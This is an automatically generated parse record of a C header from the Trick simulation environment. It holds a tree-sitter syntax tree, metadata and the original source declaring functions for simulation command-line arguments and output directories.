command_line_args_get_user_output_dir(void) ;" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* command_line_args_get_user_output_dir(void)" (*) "*" (function_declarator) "command_line_args_get_user_output_dir(void)" (identifier) "command_line_args_get_user_output_dir" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (declaration) "const char * command_line_args_get_input_file(void) ;" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* command_line_args_get_input_file(void)" (*) "*" (function_declarator) "command_line_args_get_input_file(void)" (identifier) "command_line_args_get_input_file" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (declaration) "const char * command_line_args_get_default_dir(void) ;" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* command_line_args_get_default_dir(void)" (*) "*" (function_declarator) "command_line_args_get_default_dir(void)" (identifier) "command_line_args_get_default_dir" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (declaration) "const char * command_line_args_get_cmdline_name(void) ;" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* command_line_args_get_cmdline_name(void)" (*) "*" (function_declarator) "command_line_args_get_cmdline_name(void)" (identifier) "command_line_args_get_cmdline_name" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (declaration) "int output_dir_timestamped_on(void) ;" (primitive_type) "int" (function_declarator) "output_dir_timestamped_on(void)" (identifier) "output_dir_timestamped_on" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (declaration) "int output_dir_timestamped_off(void) ;" (primitive_type) "int" (function_declarator) "output_dir_timestamped_off(void)" (identifier) "output_dir_timestamped_off" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (declaration) "void set_output_dir(const char* output_directory);" (primitive_type) "void" (function_declarator) "set_output_dir(const char* output_directory)" (identifier) "set_output_dir" (parameter_list) "(const char* output_directory)" (() "(" (parameter_declaration) "const char* output_directory" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* output_directory" (*) "*" (identifier) "output_directory" ()) ")" (;) ";" (preproc_ifdef) "#ifdef __cplusplus\n}\n#endif" (#ifdef) "#ifdef" (identifier) "__cplusplus" (ERROR) "}" (}) "}" (#endif) "#endif" (preproc_ifdef) "#ifdef __cplusplus\n#include <string>\nstd::string & command_line_args_get_input_file_ref(void) ;\n#endif" (#ifdef) "#ifdef" (identifier) "__cplusplus" (preproc_include) "#include <string>\n" (#include) "#include" (system_lib_string) "<string>" (labeled_statement) "std::string & command_line_args_get_input_file_ref(void) ;" (statement_identifier) "std" (:) ":" (ERROR) ":" (:) ":" (expression_statement) "string & command_line_args_get_input_file_ref(void) ;" (binary_expression) "string & command_line_args_get_input_file_ref(void)" (identifier) "string" (&) "&" (call_expression) "command_line_args_get_input_file_ref(void)" (identifier) "command_line_args_get_input_file_ref" (argument_list) "(void)" (() "(" (identifier) "void" ()) ")" (;) ";" (#endif) "#endif" (preproc_call) "#endif\n" (preproc_directive) "#endif"
197
3
{"language": "c", "success": true, "metadata": {"lines": 38, "avg_line_length": 34.26, "nodes": 135, "errors": 0, "source_hash": "49f752b20848263903a836d58d224b421a24d654bc06e543e8cea351878cc966", "categorized_nodes": 73}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "ERROR", "text": "#ifndef COMMAND_LINE_PROTOS_H\n#define COMMAND_LINE_PROTOS_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nint command_line_args_process_sim_args(int argc , char ** argv) ;\n\nint command_line_args_get_argc(void) ;\nchar ** command_line_args_get_argv(void) ;\nconst char * command_line_args_get_output_dir(void) ;\nconst char * command_line_args_get_user_output_dir(void) ;\nconst char * command_line_args_get_input_file(void) ;\n\nconst char * command_line_args_get_default_dir(void) ;\nconst char * command_line_args_get_cmdline_name(void) ;\n\nint output_dir_timestamped_on(void) ;\nint output_dir_timestamped_off(void) ;\n\nvoid set_output_dir(const char* output_directory);\n\n#ifdef __cplusplus\n}\n#endif\n\n#ifdef __cplusplus\n#include <string>\nstd::string & command_line_args_get_input_file_ref(void) ;\n#endif\n\n#endif\n", "parent": null, "children": [1, 2, 3, 6, 7, 8, 9, 10, 12, 27, 34, 45, 54, 63, 72, 81, 90, 97, 104, 114, 118, 133], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 48, "column": 0}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 7}}, {"id": 2, "type": "identifier", "text": "COMMAND_LINE_PROTOS_H", "parent": 0, "children": [], "start_point": {"row": 15, "column": 8}, "end_point": {"row": 15, "column": 29}}, {"id": 3, "type": "preproc_def", "text": "#define COMMAND_LINE_PROTOS_H\n", "parent": 0, "children": [4, 5], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 17, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 7}}, {"id": 5, "type": "identifier", "text": "COMMAND_LINE_PROTOS_H", "parent": 3, "children": [], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 29}}, {"id": 6, "type": "#ifdef", "text": "#ifdef", "parent": 0, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 6}}, {"id": 7, "type": "identifier", "text": "__cplusplus", "parent": 0, "children": [], "start_point": {"row": 18, "column": 7}, "end_point": {"row": 18, "column": 18}}, {"id": 8, "type": "extern", "text": "extern", "parent": 0, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 6}}, {"id": 9, "type": "string_literal", "text": "\"C\"", "parent": 0, "children": [], "start_point": {"row": 19, "column": 7}, "end_point": {"row": 19, "column": 10}}, {"id": 10, "type": "preproc_call", "text": "#endif\n", "parent": 0, "children": [11], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 21, "column": 0}}, {"id": 11, "type": "preproc_directive", "text": "#endif", "parent": 10, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 6}}, {"id": 12, "type": "declaration", "text": "int command_line_args_process_sim_args(int argc , char ** argv) ;", "parent": 0, "children": [13, 14], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 65}}, {"id": 13, "type": "primitive_type", "text": "int", "parent": 12, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 3}}, {"id": 14, "type": "function_declarator", "text": "command_line_args_process_sim_args(int argc , char ** argv)", "parent": 12, "children": [15, 16], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 63}}, {"id": 15, "type": "identifier", "text": "command_line_args_process_sim_args", "parent": 14, "children": [], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 38}}, {"id": 16, "type": "parameter_list", "text": "(int argc , char ** argv)", "parent": 14, "children": [17, 20], "start_point": {"row": 22, "column": 38}, "end_point": {"row": 22, "column": 63}}, {"id": 17, "type": "parameter_declaration", "text": "int argc", "parent": 16, "children": [18, 19], "start_point": {"row": 22, "column": 39}, "end_point": {"row": 22, "column": 47}}, {"id": 18, "type": "primitive_type", "text": "int", "parent": 17, "children": [], "start_point": {"row": 22, "column": 39}, "end_point": {"row": 22, "column": 42}}, {"id": 19, "type": "identifier", "text": "argc", "parent": 17, "children": [], "start_point": {"row": 22, "column": 43}, "end_point": {"row": 22, "column": 47}}, {"id": 20, "type": "parameter_declaration", "text": "char ** argv", "parent": 16, "children": [21, 22], "start_point": {"row": 22, "column": 50}, "end_point": {"row": 22, "column": 62}}, {"id": 21, "type": "primitive_type", "text": "char", "parent": 20, "children": [], "start_point": {"row": 22, "column": 50}, "end_point": {"row": 22, "column": 54}}, {"id": 22, "type": "pointer_declarator", "text": "** argv", "parent": 20, "children": [23, 24], "start_point": {"row": 22, "column": 55}, "end_point": {"row": 22, "column": 62}}, {"id": 23, "type": "*", "text": "*", "parent": 22, "children": [], "start_point": {"row": 22, "column": 55}, "end_point": {"row": 22, "column": 56}}, {"id": 24, "type": "pointer_declarator", "text": "* argv", "parent": 22, "children": [25, 26], "start_point": {"row": 22, "column": 56}, "end_point": {"row": 22, "column": 62}}, {"id": 25, "type": "*", "text": "*", "parent": 24, "children": [], "start_point": {"row": 22, "column": 56}, "end_point": {"row": 22, "column": 57}}, {"id": 26, "type": "identifier", "text": "argv", "parent": 24, "children": [], "start_point": {"row": 22, "column": 58}, "end_point": {"row": 22, "column": 62}}, {"id": 27, "type": "declaration", "text": "int command_line_args_get_argc(void) ;", "parent": 0, "children": [28, 29], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 38}}, {"id": 28, "type": "primitive_type", "text": "int", "parent": 27, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 3}}, {"id": 29, "type": "function_declarator", "text": "command_line_args_get_argc(void)", "parent": 27, "children": [30, 31], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 24, "column": 36}}, {"id": 30, "type": "identifier", "text": "command_line_args_get_argc", "parent": 29, "children": [], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 24, "column": 30}}, {"id": 31, "type": "parameter_list", "text": "(void)", "parent": 29, "children": [32], "start_point": {"row": 24, "column": 30}, "end_point": {"row": 24, "column": 36}}, {"id": 32, "type": "parameter_declaration", "text": "void", "parent": 31, "children": [33], "start_point": {"row": 24, "column": 31}, "end_point": {"row": 24, "column": 35}}, {"id": 33, "type": "primitive_type", "text": "void", "parent": 32, "children": [], "start_point": {"row": 24, "column": 31}, "end_point": {"row": 24, "column": 35}}, {"id": 34, "type": "declaration", "text": "char ** command_line_args_get_argv(void) ;", "parent": 0, "children": [35, 36], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 42}}, {"id": 35, "type": "primitive_type", "text": "char", "parent": 34, "children": [], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 4}}, {"id": 36, "type": "pointer_declarator", "text": "** command_line_args_get_argv(void)", "parent": 34, "children": [37, 38], "start_point": {"row": 25, "column": 5}, "end_point": {"row": 25, "column": 40}}, {"id": 37, "type": "*", "text": "*", "parent": 36, "children": [], "start_point": {"row": 25, "column": 5}, "end_point": {"row": 25, "column": 6}}, {"id": 38, "type": "pointer_declarator", "text": "* command_line_args_get_argv(void)", "parent": 36, "children": [39, 40], "start_point": {"row": 25, "column": 6}, "end_point": {"row": 25, "column": 40}}, {"id": 39, "type": "*", "text": "*", "parent": 38, "children": [], "start_point": {"row": 25, "column": 6}, "end_point": {"row": 25, "column": 7}}, {"id": 40, "type": "function_declarator", "text": "command_line_args_get_argv(void)", "parent": 38, "children": [41, 42], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 40}}, {"id": 41, "type": "identifier", "text": "command_line_args_get_argv", "parent": 40, "children": [], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 34}}, {"id": 42, "type": "parameter_list", "text": "(void)", "parent": 40, "children": [43], "start_point": {"row": 25, "column": 34}, "end_point": {"row": 25, "column": 40}}, {"id": 43, "type": "parameter_declaration", "text": "void", "parent": 42, "children": [44], "start_point": {"row": 25, "column": 35}, "end_point": {"row": 25, "column": 39}}, {"id": 44, "type": "primitive_type", "text": "void", "parent": 43, "children": [], "start_point": {"row": 25, "column": 35}, "end_point": {"row": 25, "column": 39}}, {"id": 45, "type": "declaration", "text": "const char * command_line_args_get_output_dir(void) ;", "parent": 0, "children": [46, 47], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 53}}, {"id": 46, "type": "primitive_type", "text": "char", "parent": 45, "children": [], "start_point": {"row": 26, "column": 6}, "end_point": {"row": 26, "column": 10}}, {"id": 47, "type": "pointer_declarator", "text": "* command_line_args_get_output_dir(void)", "parent": 45, "children": [48, 49], "start_point": {"row": 26, "column": 11}, "end_point": {"row": 26, "column": 51}}, {"id": 48, "type": "*", "text": "*", "parent": 47, "children": [], "start_point": {"row": 26, "column": 11}, "end_point": {"row": 26, "column": 12}}, {"id": 49, "type": "function_declarator", "text": "command_line_args_get_output_dir(void)", "parent": 47, "children": [50, 51], "start_point": {"row": 26, "column": 13}, "end_point": {"row": 26, "column": 51}}, {"id": 50, "type": "identifier", "text": "command_line_args_get_output_dir", "parent": 49, "children": [], "start_point": {"row": 26, "column": 13}, "end_point": {"row": 26, "column": 45}}, {"id": 51, "type": "parameter_list", "text": "(void)", "parent": 49, "children": [52], "start_point": {"row": 26, "column": 45}, "end_point": {"row": 26, "column": 51}}, {"id": 52, "type": "parameter_declaration", "text": "void", "parent": 51, "children": [53], "start_point": {"row": 26, "column": 46}, "end_point": {"row": 26, "column": 50}}, {"id": 53, "type": "primitive_type", "text": "void", "parent": 52, "children": [], "start_point": {"row": 26, "column": 46}, "end_point": {"row": 26, "column": 50}}, {"id": 54, "type": "declaration", "text": "const char * command_line_args_get_user_output_dir(void) ;", "parent": 0, "children": [55, 56], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 58}}, {"id": 55, "type": "primitive_type", "text": "char", "parent": 54, "children": [], "start_point": {"row": 27, "column": 6}, "end_point": {"row": 27, "column": 10}}, {"id": 56, "type": "pointer_declarator", "text": "* command_line_args_get_user_output_dir(void)", "parent": 54, "children": [57, 58], "start_point": {"row": 27, "column": 11}, "end_point": {"row": 27, "column": 56}}, {"id": 57, "type": "*", "text": "*", "parent": 56, "children": [], "start_point": {"row": 27, "column": 11}, "end_point": {"row": 27, "column": 12}}, {"id": 58, "type": "function_declarator", "text": "command_line_args_get_user_output_dir(void)", "parent": 56, "children": [59, 60], "start_point": {"row": 27, "column": 13}, "end_point": {"row": 27, "column": 56}}, {"id": 59, "type": "identifier", "text": "command_line_args_get_user_output_dir", "parent": 58, "children": [], "start_point": {"row": 27, "column": 13}, "end_point": {"row": 27, "column": 50}}, {"id": 60, "type": "parameter_list", "text": "(void)", "parent": 58, "children": [61], "start_point": {"row": 27, "column": 50}, "end_point": {"row": 27, "column": 56}}, {"id": 61, "type": "parameter_declaration", "text": "void", "parent": 60, "children": [62], "start_point": {"row": 27, "column": 51}, "end_point": {"row": 27, "column": 55}}, {"id": 62, "type": "primitive_type", "text": "void", "parent": 61, "children": [], "start_point": {"row": 27, "column": 51}, "end_point": {"row": 27, "column": 55}}, {"id": 63, "type": "declaration", "text": "const char * command_line_args_get_input_file(void) ;", "parent": 0, "children": [64, 65], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 53}}, {"id": 64, "type": "primitive_type", "text": "char", "parent": 63, "children": [], "start_point": {"row": 28, "column": 6}, "end_point": {"row": 28, "column": 10}}, {"id": 65, "type": "pointer_declarator", "text": "* command_line_args_get_input_file(void)", "parent": 63, "children": [66, 67], "start_point": {"row": 28, "column": 11}, "end_point": {"row": 28, "column": 51}}, {"id": 66, "type": "*", "text": "*", "parent": 65, "children": [], "start_point": {"row": 28, "column": 11}, "end_point": {"row": 28, "column": 12}}, {"id": 67, "type": "function_declarator", "text": "command_line_args_get_input_file(void)", "parent": 65, "children": [68, 69], "start_point": {"row": 28, "column": 13}, "end_point": {"row": 28, "column": 51}}, {"id": 68, "type": "identifier", "text": "command_line_args_get_input_file", "parent": 67, "children": [], "start_point": {"row": 28, "column": 13}, "end_point": {"row": 28, "column": 45}}, {"id": 69, "type": "parameter_list", "text": "(void)", "parent": 67, "children": [70], "start_point": {"row": 28, "column": 45}, "end_point": {"row": 28, "column": 51}}, {"id": 70, "type": "parameter_declaration", "text": "void", "parent": 69, "children": [71], "start_point": {"row": 28, "column": 46}, "end_point": {"row": 28, "column": 50}}, {"id": 71, "type": "primitive_type", "text": "void", "parent": 70, "children": [], "start_point": {"row": 28, "column": 46}, "end_point": {"row": 28, "column": 50}}, {"id": 72, "type": "declaration", "text": "const char * command_line_args_get_default_dir(void) ;", "parent": 0, "children": [73, 74], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 30, "column": 54}}, {"id": 73, "type": "primitive_type", "text": "char", "parent": 72, "children": [], "start_point": {"row": 30, "column": 6}, "end_point": {"row": 30, "column": 10}}, {"id": 74, "type": "pointer_declarator", "text": "* command_line_args_get_default_dir(void)", "parent": 72, "children": [75, 76], "start_point": {"row": 30, "column": 11}, "end_point": {"row": 30, "column": 52}}, {"id": 75, "type": "*", "text": "*", "parent": 74, "children": [], "start_point": {"row": 30, "column": 11}, "end_point": {"row": 30, "column": 12}}, {"id": 76, "type": "function_declarator", "text": "command_line_args_get_default_dir(void)", "parent": 74, "children": [77, 78], "start_point": {"row": 30, "column": 13}, "end_point": {"row": 30, "column": 52}}, {"id": 77, "type": "identifier", "text": "command_line_args_get_default_dir", "parent": 76, "children": [], "start_point": {"row": 30, "column": 13}, "end_point": {"row": 30, "column": 46}}, {"id": 78, "type": "parameter_list", "text": "(void)", "parent": 76, "children": [79], "start_point": {"row": 30, "column": 46}, "end_point": {"row": 30, "column": 52}}, {"id": 79, "type": "parameter_declaration", "text": "void", "parent": 78, "children": [80], "start_point": {"row": 30, "column": 47}, "end_point": {"row": 30, "column": 51}}, {"id": 80, "type": "primitive_type", "text": "void", "parent": 79, "children": [], "start_point": {"row": 30, "column": 47}, "end_point": {"row": 30, "column": 51}}, {"id": 81, "type": "declaration", "text": "const char * command_line_args_get_cmdline_name(void) ;", "parent": 0, "children": [82, 83], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 55}}, {"id": 82, "type": "primitive_type", "text": "char", "parent": 81, "children": [], "start_point": {"row": 31, "column": 6}, "end_point": {"row": 31, "column": 10}}, {"id": 83, "type": "pointer_declarator", "text": "* command_line_args_get_cmdline_name(void)", "parent": 81, "children": [84, 85], "start_point": {"row": 31, "column": 11}, "end_point": {"row": 31, "column": 53}}, {"id": 84, "type": "*", "text": "*", "parent": 83, "children": [], "start_point": {"row": 31, "column": 11}, "end_point": {"row": 31, "column": 12}}, {"id": 85, "type": "function_declarator", "text": "command_line_args_get_cmdline_name(void)", "parent": 83, "children": [86, 87], "start_point": {"row": 31, "column": 13}, "end_point": {"row": 31, "column": 53}}, {"id": 86, "type": "identifier", "text": "command_line_args_get_cmdline_name", "parent": 85, "children": [], "start_point": {"row": 31, "column": 13}, "end_point": {"row": 31, "column": 47}}, {"id": 87, "type": "parameter_list", "text": "(void)", "parent": 85, "children": [88], "start_point": {"row": 31, "column": 47}, "end_point": {"row": 31, "column": 53}}, {"id": 88, "type": "parameter_declaration", "text": "void", "parent": 87, "children": [89], "start_point": {"row": 31, "column": 48}, "end_point": {"row": 31, "column": 52}}, {"id": 89, "type": "primitive_type", "text": "void", "parent": 88, "children": [], "start_point": {"row": 31, "column": 48}, "end_point": {"row": 31, "column": 52}}, {"id": 90, "type": "declaration", "text": "int output_dir_timestamped_on(void) ;", "parent": 0, "children": [91, 92], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 37}}, {"id": 91, "type": "primitive_type", "text": "int", "parent": 90, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 3}}, {"id": 92, "type": "function_declarator", "text": "output_dir_timestamped_on(void)", "parent": 90, "children": [93, 94], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 35}}, {"id": 93, "type": "identifier", "text": "output_dir_timestamped_on", "parent": 92, "children": [], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 29}}, {"id": 94, "type": "parameter_list", "text": "(void)", "parent": 92, "children": [95], "start_point": {"row": 33, "column": 29}, "end_point": {"row": 33, "column": 35}}, {"id": 95, "type": "parameter_declaration", "text": "void", "parent": 94, "children": [96], "start_point": {"row": 33, "column": 30}, "end_point": {"row": 33, "column": 34}}, {"id": 96, "type": "primitive_type", "text": "void", "parent": 95, "children": [], "start_point": {"row": 33, "column": 30}, "end_point": {"row": 33, "column": 34}}, {"id": 97, "type": "declaration", "text": "int output_dir_timestamped_off(void) ;", "parent": 0, "children": [98, 99], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 38}}, {"id": 98, "type": "primitive_type", "text": "int", "parent": 97, "children": [], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 3}}, {"id": 99, "type": "function_declarator", "text": "output_dir_timestamped_off(void)", "parent": 97, "children": [100, 101], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 36}}, {"id": 100, "type": "identifier", "text": "output_dir_timestamped_off", "parent": 99, "children": [], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 30}}, {"id": 101, "type": "parameter_list", "text": "(void)", "parent": 99, "children": [102], "start_point": {"row": 34, "column": 30}, "end_point": {"row": 34, "column": 36}}, {"id": 102, "type": "parameter_declaration", "text": "void", "parent": 101, "children": [103], "start_point": {"row": 34, "column": 31}, "end_point": {"row": 34, "column": 35}}, {"id": 103, "type": "primitive_type", "text": "void", "parent": 102, "children": [], "start_point": {"row": 34, "column": 31}, "end_point": {"row": 34, "column": 35}}, {"id": 104, "type": "declaration", "text": "void set_output_dir(const char* output_directory);", "parent": 0, "children": [105, 106], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 50}}, {"id": 105, "type": "primitive_type", "text": "void", "parent": 104, "children": [], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 4}}, {"id": 106, "type": "function_declarator", "text": "set_output_dir(const char* output_directory)", "parent": 104, "children": [107, 108], "start_point": {"row": 36, "column": 5}, "end_point": {"row": 36, "column": 49}}, {"id": 107, "type": "identifier", "text": "set_output_dir", "parent": 106, "children": [], "start_point": {"row": 36, "column": 5}, "end_point": {"row": 36, "column": 19}}, {"id": 108, "type": "parameter_list", "text": "(const char* output_directory)", "parent": 106, "children": [109], "start_point": {"row": 36, "column": 19}, "end_point": {"row": 36, "column": 49}}, {"id": 109, "type": "parameter_declaration", "text": "const char* output_directory", "parent": 108, "children": [110, 111], "start_point": {"row": 36, "column": 20}, "end_point": {"row": 36, "column": 48}}, {"id": 110, "type": "primitive_type", "text": "char", "parent": 109, "children": [], "start_point": {"row": 36, "column": 26}, "end_point": {"row": 36, "column": 30}}, {"id": 111, "type": "pointer_declarator", "text": "* output_directory", "parent": 109, "children": [112, 113], "start_point": {"row": 36, "column": 30}, "end_point": {"row": 36, "column": 48}}, {"id": 112, "type": "*", "text": "*", "parent": 111, "children": [], "start_point": {"row": 36, "column": 30}, "end_point": {"row": 36, "column": 31}}, {"id": 113, "type": "identifier", "text": "output_directory", "parent": 111, "children": [], "start_point": {"row": 36, "column": 32}, "end_point": {"row": 36, "column": 48}}, {"id": 114, "type": "preproc_ifdef", "text": "#ifdef __cplusplus\n}\n#endif", "parent": 0, "children": [115, 116, 117], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 40, "column": 6}}, {"id": 115, "type": "#ifdef", "text": "#ifdef", "parent": 114, "children": [], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 6}}, {"id": 116, "type": "identifier", "text": "__cplusplus", "parent": 114, "children": [], "start_point": {"row": 38, "column": 7}, "end_point": {"row": 38, "column": 18}}, {"id": 117, "type": "#endif", "text": "#endif", "parent": 114, "children": [], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 40, "column": 6}}, {"id": 118, "type": "preproc_ifdef", "text": "#ifdef __cplusplus\n#include <string>\nstd::string & command_line_args_get_input_file_ref(void) ;\n#endif", "parent": 0, "children": [119, 120, 121, 124, 132], "start_point": {"row": 42, "column": 0}, "end_point": {"row": 45, "column": 6}}, {"id": 119, "type": "#ifdef", "text": "#ifdef", "parent": 118, "children": [], "start_point": {"row": 42, "column": 0}, "end_point": {"row": 42, "column": 6}}, {"id": 120, "type": "identifier", "text": "__cplusplus", "parent": 118, "children": [], "start_point": {"row": 42, "column": 7}, "end_point": {"row": 42, "column": 18}}, {"id": 121, "type": "preproc_include", "text": "#include <string>\n", "parent": 118, "children": [122, 123], "start_point": {"row": 43, "column": 0}, "end_point": {"row": 44, "column": 0}}, {"id": 122, "type": "#include", "text": "#include", "parent": 121, "children": [], "start_point": {"row": 43, "column": 0}, "end_point": {"row": 43, "column": 8}}, {"id": 123, "type": "system_lib_string", "text": "<string>", "parent": 121, "children": [], "start_point": {"row": 43, "column": 9}, "end_point": {"row": 43, "column": 17}}, {"id": 124, "type": "labeled_statement", "text": "std::string & command_line_args_get_input_file_ref(void) ;", "parent": 118, "children": [125], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 58}}, {"id": 125, "type": "statement_identifier", "text": "std", "parent": 124, "children": [], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 3}}, {"id": 126, "type": "binary_expression", "text": "string & command_line_args_get_input_file_ref(void)", "parent": 124, "children": [127, 128], "start_point": {"row": 44, "column": 5}, "end_point": {"row": 44, "column": 56}}, {"id": 127, "type": "identifier", "text": "string", "parent": 126, "children": [], "start_point": {"row": 44, "column": 5}, "end_point": {"row": 44, "column": 11}}, {"id": 128, "type": "call_expression", "text": "command_line_args_get_input_file_ref(void)", "parent": 126, "children": [129, 130], "start_point": {"row": 44, "column": 14}, "end_point": {"row": 44, "column": 56}}, {"id": 129, "type": "identifier", "text": "command_line_args_get_input_file_ref", "parent": 128, "children": [], "start_point": {"row": 44, "column": 14}, "end_point": {"row": 44, "column": 50}}, {"id": 130, "type": "argument_list", "text": "(void)", "parent": 128, "children": [131], "start_point": {"row": 44, "column": 50}, "end_point": {"row": 44, "column": 56}}, {"id": 131, "type": "identifier", "text": "void", "parent": 130, "children": [], "start_point": {"row": 44, "column": 51}, "end_point": {"row": 44, "column": 55}}, {"id": 132, "type": "#endif", "text": "#endif", "parent": 118, "children": [], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 6}}, {"id": 133, "type": "preproc_call", "text": "#endif\n", "parent": 0, "children": [134], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 48, "column": 0}}, {"id": 134, "type": "preproc_directive", "text": "#endif", "parent": 133, "children": [], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 47, "column": 6}}]}, "node_categories": {"declarations": {"functions": [14, 29, 40, 49, 58, 67, 76, 85, 92, 99, 106], "variables": [12, 17, 20, 27, 32, 34, 43, 45, 52, 54, 61, 63, 70, 72, 79, 81, 88, 90, 95, 97, 102, 104, 109], "classes": [], "imports": [121, 122], "modules": [], "enums": []}, "statements": {"expressions": [126, 128], "assignments": [], "loops": [], "conditionals": [1, 2, 5, 6, 7, 15, 19, 26, 30, 41, 50, 59, 68, 77, 86, 93, 100, 107, 113, 114, 115, 116, 117, 118, 119, 120, 125, 127, 129, 131, 132], "returns": [], "exceptions": []}, "expressions": {"calls": [10, 133], "literals": [9, 123], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 14, "universal_type": "function", "name": "unknown", "text_snippet": "command_line_args_process_sim_args(int argc , char ** argv)"}, {"node_id": 29, "universal_type": "function", "name": "unknown", "text_snippet": "command_line_args_get_argc(void)"}, {"node_id": 40, "universal_type": "function", "name": "unknown", "text_snippet": "command_line_args_get_argv(void)"}, {"node_id": 49, "universal_type": "function", "name": "unknown", "text_snippet": "command_line_args_get_output_dir(void)"}, {"node_id": 58, "universal_type": "function", "name": "unknown", "text_snippet": "command_line_args_get_user_output_dir(void)"}, {"node_id": 67, "universal_type": "function", "name": "unknown", "text_snippet": "command_line_args_get_input_file(void)"}, {"node_id": 76, "universal_type": "function", "name": "unknown", "text_snippet": "command_line_args_get_default_dir(void)"}, {"node_id": 85, "universal_type": "function", "name": "unknown", "text_snippet": "command_line_args_get_cmdline_name(void)"}, {"node_id": 92, "universal_type": "function", "name": "unknown", "text_snippet": "output_dir_timestamped_on(void)"}, {"node_id": 99, "universal_type": "function", "name": "unknown", "text_snippet": "output_dir_timestamped_off(void)"}, {"node_id": 106, "universal_type": "function", "name": "unknown", "text_snippet": "set_output_dir(const char* output_directory)"}], "class_declarations": [], "import_statements": [{"node_id": 121, "text": "#include <string>\n"}, {"node_id": 122, "text": "#include"}]}, "original_source_code": "/*\n PURPOSE:\n (Trick runtime simulation executive parameter definition.)\n REFERENCE:\n (((Bailey, R.W, and Paddock, E.J.) (Trick Simulation Environment)\n (NASA:JSC #37943)\n (JSC / Engineering Directorate / Automation and Robotics Division)\n (June 1994) (--)))\n ASSUMPTIONS AND LIMITATIONS:\n ((Only 64 levels of nested input data file inclusion.))\n PROGRAMMERS:\n (((<NAME>) (LinCom) (4/92) (--) (Realtime))\n ((<NAME>) (LinCom) (6/1/91) (Trick-CR-00000) (Initial Release)))\n*/\n\n#ifndef COMMAND_LINE_PROTOS_H\n#define COMMAND_LINE_PROTOS_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nint command_line_args_process_sim_args(int argc , char ** argv) ;\n\nint command_line_args_get_argc(void) ;\nchar ** command_line_args_get_argv(void) ;\nconst char * command_line_args_get_output_dir(void) ;\nconst char * command_line_args_get_user_output_dir(void) ;\nconst char * command_line_args_get_input_file(void) ;\n\nconst char * command_line_args_get_default_dir(void) ;\nconst char * command_line_args_get_cmdline_name(void) ;\n\nint output_dir_timestamped_on(void) ;\nint output_dir_timestamped_off(void) ;\n\nvoid set_output_dir(const char* output_directory);\n\n#ifdef __cplusplus\n}\n#endif\n\n#ifdef __cplusplus\n#include <string>\nstd::string & command_line_args_get_input_file_ref(void) ;\n#endif\n\n#endif\n\n"}
81,141
c
